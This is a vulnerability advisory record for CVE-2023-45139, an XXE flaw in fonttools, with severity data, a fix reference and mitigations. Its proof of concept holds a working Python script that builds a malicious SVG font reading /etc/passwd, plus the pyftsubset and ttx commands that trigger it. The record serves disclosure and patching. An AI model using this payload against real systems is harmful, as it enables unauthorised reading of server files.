{"id":"CVE-2023-45139","aliases":["GHSA-6673-4983-2vx5","PYSEC-2026-1388"],"url":"https://o3.security/vulnerability/CVE-2023-45139","summary":"fonttools XML External Entity Injection (XXE) Vulnerability","details":"### Summary\n\nAs of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. \n\nThis allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. \n\n### PoC\n\n\nThe vulnerability can be reproduced following the bellow steps on a unix based system.\n\n1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.\n\n```python\n\nfrom string import ascii_letters\nfrom fontTools.fontBuilder import FontBuilder\nfrom fontTools.pens.ttGlyphPen import TTGlyphPen\nfrom fontTools.ttLib import newTable\n\n\nXXE_SVG = \"\"\"\\\n<?xml version=\"1.0\"?>\n<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n  <g id=\"glyph1\">\n    <text font-size=\"10\" x=\"0\" y=\"10\">&test;</text>\n  </g>\n</svg>\n\"\"\"\n\ndef main():\n    # generate a random TTF font with an SVG table\n    glyph_order = [\".notdef\"] + list(ascii_letters)\n    pen = TTGlyphPen(glyphSet=None)\n    pen.moveTo((0, 0))\n    pen.lineTo((0, 500))\n    pen.lineTo((500, 500))\n    pen.lineTo((500, 0))\n    pen.closePath()\n    glyph = pen.glyph()\n    glyphs = {g: glyph for g in glyph_order}\n\n    fb = FontBuilder(unitsPerEm=1024, isTTF=True)\n    fb.setupGlyphOrder(glyph_order)\n    fb.setupCharacterMap({ord(c): c for c in ascii_letters})\n    fb.setupGlyf(glyphs)\n    fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})\n    fb.setupHorizontalHeader()\n    fb.setupOS2()\n    fb.setupPost()\n    fb.setupNameTable({\"familyName\": \"TestSVG\", \"styleName\": \"Regular\"})\n\n    svg_table = newTable(\"SVG \")\n    svg_table.docList = [\n       (XXE_SVG, 1, 12)\n    ]\n    fb.font[\"SVG \"] = svg_table\n\n    fb.font.save('poc-payload.ttf')\n\nif __name__ == '__main__':\n    main()\n\n```\n\n2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):\n\n```shell\npyftsubset poc-payload.ttf --output-file=\"poc-payload.subset.ttf\" --unicodes=\"*\" --ignore-missing-glyphs\n```\n\n3. Read the parsed SVG table in the subsetted font:\n\n```shell\nttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx\n```\n\nObserved the included contents of the `/etc/passwd` file. \n\n### Impact\n\nNote the final severity is dependant on the environment fontTools is running in.\n\n- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on\n\n\n\n### Possible Mitigations \n\nThere may be other ways to mitigate the issue, but some suggestions:\n\n1. Set the `resolve_entities=False` flag on parsing methods\n2. Consider further methods of disallowing doctype declarations\n3. Consider recursive regex matching\n\n","published":"2024-01-10T16:03:08.770Z","modified":"2026-08-12T03:51:28.985767355Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"PyPI","name":"fonttools","fixedVersion":"4.43.0"}],"fix":{"url":"https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c","label":"fonttools/fonttools@9f61271"},"references":[{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/03/08/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/03/09/1"},{"type":"WEB","url":"https://github.com/fonttools/fonttools/releases/tag/4.43.0"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75/"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/45xxx/CVE-2023-45139.json"},{"type":"ADVISORY","url":"https://github.com/fonttools/fonttools/security/advisories/GHSA-6673-4983-2vx5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45139"},{"type":"FIX","url":"https://github.com/fonttools/fonttools/commit/9f61271dc1ca82ed91f529b130fe5dc5c9bf1f4c"},{"type":"PACKAGE","url":"https://github.com/fonttools/fonttools"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VY63B4SGY4QOQGUXMECRGD6K3YT3GJ75"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:28.985767355Z"}}